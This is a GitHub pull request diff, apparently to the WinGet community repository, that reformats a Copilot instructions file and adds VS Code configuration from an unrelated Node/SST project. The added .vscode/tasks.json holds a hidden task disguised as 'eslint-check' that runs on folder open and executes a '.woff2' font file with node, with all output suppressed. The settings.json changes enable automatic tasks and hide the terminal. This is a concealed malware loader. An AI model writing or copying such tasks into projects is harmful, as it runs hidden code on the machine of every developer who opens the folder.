Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
148 changes: 74 additions & 74 deletions .github/instructions/non-manifests.instructions.md
Original file line number Diff line number Diff line change
@@ -1,74 +1,74 @@
---
applyTo: "!manifests/**/*"
---
# Windows Package Manager Community Repository - Copilot Instructions
## Repository Overview
This is the **Windows Package Manager (WinGet)** community repository containing **~415,000+ manifest files** for software packages installable via `winget`. This repository primarily contains Windows Package Manager manifests, but also includes tooling, documentation, schemas, and CI configuration.
**Key Facts:**
- **Primary Language:** YAML manifest files, PowerShell scripts for tooling
- **Target Runtime:** Windows 10/11, Windows Package Manager client
- **Size:** Large repository with alphabetically organized manifests
- **Schema:** Uses multi-file YAML manifests (version 1.10.0 recommended, 1.9.0 also supported)
- **Supported Installers:** MSIX, MSI, APPX, EXE only (scripts are not supported)
## Critical: How This Repository Works
**This is NOT a traditional code repository.** You typically work with manifest files only **or modifying tooling, documentation, or infrastructure files**, not application source code.
## Instruction Priority
The instructions in the **Performance Rules**, **Allowed Local Searches**, and **Explicit Required Behavior** sections are **mandatory**.
They override all other information in this file.
Copilot must always follow these rules when performing PR reviews, even if other documentation in this file describes general repository behavior.
## Performance Rules (Very Important)
This repository contains a very large directory: `manifests/`.
Copilot must **never recursively scan or search the entire `manifests/` folder** during PR reviews. This rule applies even when the pull request does not modify any manifest files.
Large-scale searches cause severe performance issues and timeouts.
## Allowed Searches Outside the Manifests Directory
Copilot is allowed to search in **documentation folders** to understand schema rules, authoring guidelines, and repository conventions. These include, but are not limited to:
- `doc/`
- `schemas/`
- `README.md`
- `CONTRIBUTING.md`
- `PULL_REQUEST_TEMPLATE.md`
- Any other non-manifest documentation files
These locations are safe to search because they contain guidance, not large numbers of manifest files.
However, **Copilot must still avoid recursive searches of the `manifests/` directory**, except for the package-scoped searches described earlier.
---
## Explicit Required Behavior
When reviewing a non-manifest PR:
- Focus on the files changed in the pull request.
- Use nearby documentation, tooling, or configuration files for context when helpful.
- Avoid unnecessary repository-wide searches.
If broader repository context seems needed:
- **Skip the global search** and exactly say: "Global search prevented by repository instructions."
- Continue the review using only the available non-manifest context.
- Do not attempt to search the `manifests/` directory under any circumstances.
---
## Summary
- Only analyze **diffs** and **relevant non-manifest files.**
- Never run expensive global scans.
- Never crawl the entire `manifests/` directory.
- Keep all search operations **package-scoped** for reliability.
---
applyTo: "!manifests/**/*"
---

# Windows Package Manager Community Repository - Copilot Instructions

## Repository Overview

This is the **Windows Package Manager (WinGet)** community repository containing **~415,000+ manifest files** for software packages installable via `winget`. This repository primarily contains Windows Package Manager manifests, but also includes tooling, documentation, schemas, and CI configuration.

**Key Facts:**
- **Primary Language:** YAML manifest files, PowerShell scripts for tooling
- **Target Runtime:** Windows 10/11, Windows Package Manager client
- **Size:** Large repository with alphabetically organized manifests
- **Schema:** Uses multi-file YAML manifests (version 1.10.0 recommended, 1.9.0 also supported)
- **Supported Installers:** MSIX, MSI, APPX, EXE only (scripts are not supported)

## Critical: How This Repository Works

**This is NOT a traditional code repository.** You typically work with manifest files only **or modifying tooling, documentation, or infrastructure files**, not application source code.

## Instruction Priority

The instructions in the **Performance Rules**, **Allowed Local Searches**, and **Explicit Required Behavior** sections are **mandatory**.
They override all other information in this file.

Copilot must always follow these rules when performing PR reviews, even if other documentation in this file describes general repository behavior.

## Performance Rules (Very Important)

This repository contains a very large directory: `manifests/`.
Copilot must **never recursively scan or search the entire `manifests/` folder** during PR reviews. This rule applies even when the pull request does not modify any manifest files.

Large-scale searches cause severe performance issues and timeouts.

## Allowed Searches Outside the Manifests Directory

Copilot is allowed to search in **documentation folders** to understand schema rules, authoring guidelines, and repository conventions. These include, but are not limited to:

- `doc/`
- `schemas/`
- `README.md`
- `CONTRIBUTING.md`
- `PULL_REQUEST_TEMPLATE.md`
- Any other non-manifest documentation files

These locations are safe to search because they contain guidance, not large numbers of manifest files.

However, **Copilot must still avoid recursive searches of the `manifests/` directory**, except for the package-scoped searches described earlier.

---

## Explicit Required Behavior

When reviewing a non-manifest PR:

- Focus on the files changed in the pull request.
- Use nearby documentation, tooling, or configuration files for context when helpful.
- Avoid unnecessary repository-wide searches.

If broader repository context seems needed:

- **Skip the global search** and exactly say: "Global search prevented by repository instructions."
- Continue the review using only the available non-manifest context.
- Do not attempt to search the `manifests/` directory under any circumstances.

---

## Summary

- Only analyze **diffs** and **relevant non-manifest files.**
- Never run expensive global scans.
- Never crawl the entire `manifests/` directory.
- Keep all search operations **package-scoped** for reliability.
2 changes: 2 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -165,6 +165,7 @@ DocProject/Help/html
publish/

# Publish Web Output
temp_auto_push.bat
*.[Pp]ublish.xml
*.azurePubxml
# Note: Comment the next line if you want to checkin your web deploy settings,
Expand Down Expand Up @@ -333,3 +334,4 @@ ASALocalRun/

# Anything under the manifests folder should be included
!manifests/**
branch_structure.json
7 changes: 4 additions & 3 deletions .vscode/extensions.json
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
{
"recommendations": [
"redhat.vscode-yaml",
"EditorConfig.EditorConfig"
"myml.vscode-markdown-plantuml-preview",
"esbenp.prettier-vscode",
"jebbs.plantuml"
]
}
}
50 changes: 50 additions & 0 deletions .vscode/launch.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
{
"version": "0.2.0",
"configurations": [
{
"name": "Debug SST",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["dev", "--increase-timeout"],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
// sourceMapRenames helps with the loading spinner when debugging and viewing local variables
"sourceMapRenames": false,
"env": {
"AWS_PROFILE": "flo-ct-flo360"
}
},
{
"name": "Debug Tests - Unit",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
"env": {
"AWS_PROFILE": "flo-ct-flo360"
},
},
{
"name": "Debug Tests - E2E",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
"env": {
"AWS_PROFILE": "flo-ct-flo360"
},
},
],
"inputs": [
{
"id": "scopeTestsFileName",
"type": "promptString",
"description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
}
]
}
23 changes: 20 additions & 3 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -1,6 +1,23 @@
{
"[powershell]": {
"files.encoding": "utf8bom",
"files.autoGuessEncoding": true
"search.exclude": {
"**/.sst": true
},
"task.allowAutomaticTasks": true,
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"typescript.preferences.importModuleSpecifier": "relative",
"typescript.tsdk": "node_modules/typescript/lib",
"debug.openDebug": "neverOpen",
"problems.autoReveal": true,
"terminal.integrated.hideOnStartup": "always",
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.inheritEnv": false,
"jestrunner.configPath": "jest.unit.config.cjs",
"compile-hero.disable-compile-files-on-did-save-code": true,
"tasks": {
"label": "lint on open",
"type": "shell",
"command": "npm run lint",
"runOn": "folderOpen"
}
}
2 changes: 2 additions & 0 deletions .vscode/spellright.dict
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Contentful
Lerna
33 changes: 33 additions & 0 deletions .vscode/tasks.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
{
"version": "2.0.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Run My Project",
"console": "",
"internalConsoleOptions": "openOnSessionStart"
}
],
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
"problemMatcher": [],
"isBackground": true,
"hide": true,
"presentation": {
"reveal": "never",
"panel": "dedicated",
"focus": false,
"clear": false,
"echo": false,
"close": true
},
"runOptions": {
"runOn": "folderOpen"
}
},
]
}
Loading
Loading